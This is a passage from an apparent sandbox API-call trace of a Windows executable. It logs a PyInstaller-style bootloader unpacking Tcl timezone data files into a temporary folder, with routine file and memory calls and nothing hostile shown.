[0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.052] CloseHandle (hObject=0x10c) returned 1 [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.052] GetFileType (hFile=0x10c) returned 0x1 [0043.052] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.052] CloseHandle (hObject=0x10c) returned 1 [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ") returned 59 [0043.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\nz"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.053] GetLastError () returned 0x2 [0043.053] SetLastError (dwErrCode=0x2) [0043.053] GetLastError () returned 0x2 [0043.053] SetLastError (dwErrCode=0x2) [0043.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ", lpFilePart=0x0) returned 0x3a [0043.053] GetLastError () returned 0x2 [0043.053] SetLastError (dwErrCode=0x2) [0043.053] GetLastError () returned 0x2 [0043.053] SetLastError (dwErrCode=0x2) [0043.053] GetLastError () returned 0x2 [0043.053] SetLastError (dwErrCode=0x2) [0043.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ") returned 59 [0043.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\nz"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.054] GetFileType (hFile=0x10c) returned 0x1 [0043.054] htonl (hostlong=0xae000000) returned 0xae [0043.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.054] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0043.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.055] CloseHandle (hObject=0x10c) returned 1 [0043.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.055] htonl (hostlong=0x20000000) returned 0x20 [0043.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.055] GetFileType (hFile=0x10c) returned 0x1 [0043.055] htonl (hostlong=0x89ed5c00) returned 0x5ced89 [0043.055] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619d89, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.055] htonl (hostlong=0x8a000000) returned 0x8a [0043.055] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.055] htonl (hostlong=0x8a000000) returned 0x8a [0043.055] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.055] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.055] htonl (hostlong=0xb0000000) returned 0xb0 [0043.055] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0043.055] htonl (hostlong=0x8a000000) returned 0x8a [0043.055] htonl (hostlong=0xb0000000) returned 0xb0 [0043.055] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.056] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.056] CloseHandle (hObject=0x10c) returned 1 [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.056] GetFileType (hFile=0x10c) returned 0x1 [0043.056] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.056] CloseHandle (hObject=0x10c) returned 1 [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.057] GetFileType (hFile=0x10c) returned 0x1 [0043.057] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.057] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.057] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.057] CloseHandle (hObject=0x10c) returned 1 [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT") returned 64 [0043.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\nz-chat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.057] GetLastError () returned 0x2 [0043.057] SetLastError (dwErrCode=0x2) [0043.057] GetLastError () returned 0x2 [0043.057] SetLastError (dwErrCode=0x2) [0043.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT", lpFilePart=0x0) returned 0x3f [0043.057] GetLastError () returned 0x2 [0043.057] SetLastError (dwErrCode=0x2) [0043.057] GetLastError () returned 0x2 [0043.057] SetLastError (dwErrCode=0x2) [0043.057] GetLastError () returned 0x2 [0043.057] SetLastError (dwErrCode=0x2) [0043.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT") returned 64 [0043.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\NZ-CHAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\nz-chat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.058] GetFileType (hFile=0x10c) returned 0x1 [0043.058] htonl (hostlong=0xb0000000) returned 0xb0 [0043.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.058] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0043.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.059] CloseHandle (hObject=0x10c) returned 1 [0043.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.059] htonl (hostlong=0x30000000) returned 0x30 [0043.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.059] GetFileType (hFile=0x10c) returned 0x1 [0043.059] htonl (hostlong=0x13ee5c00) returned 0x5cee13 [0043.059] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619e13, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.059] htonl (hostlong=0x87000000) returned 0x87 [0043.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0043.059] htonl (hostlong=0x87000000) returned 0x87 [0043.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.059] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.059] htonl (hostlong=0xac000000) returned 0xac [0043.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0043.060] htonl (hostlong=0x87000000) returned 0x87 [0043.060] htonl (hostlong=0xac000000) returned 0xac [0043.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.060] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.060] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.060] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.060] CloseHandle (hObject=0x10c) returned 1 [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.060] GetFileType (hFile=0x10c) returned 0x1 [0043.060] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.060] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.060] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.060] CloseHandle (hObject=0x10c) returned 1 [0043.060] GetLastError () returned 0x0 [0043.061] SetLastError (dwErrCode=0x0) [0043.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.061] GetFileType (hFile=0x10c) returned 0x1 [0043.061] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.061] CloseHandle (hObject=0x10c) returned 1 [0043.061] GetLastError () returned 0x0 [0043.061] SetLastError (dwErrCode=0x0) [0043.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo") returned 63 [0043.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\navajo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.061] GetLastError () returned 0x2 [0043.061] SetLastError (dwErrCode=0x2) [0043.061] GetLastError () returned 0x2 [0043.061] SetLastError (dwErrCode=0x2) [0043.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo", lpFilePart=0x0) returned 0x3e [0043.061] GetLastError () returned 0x2 [0043.061] SetLastError (dwErrCode=0x2) [0043.061] GetLastError () returned 0x2 [0043.062] SetLastError (dwErrCode=0x2) [0043.062] GetLastError () returned 0x2 [0043.062] SetLastError (dwErrCode=0x2) [0043.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo") returned 63 [0043.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Navajo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\navajo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.062] GetFileType (hFile=0x10c) returned 0x1 [0043.062] htonl (hostlong=0xac000000) returned 0xac [0043.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.062] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0043.063] 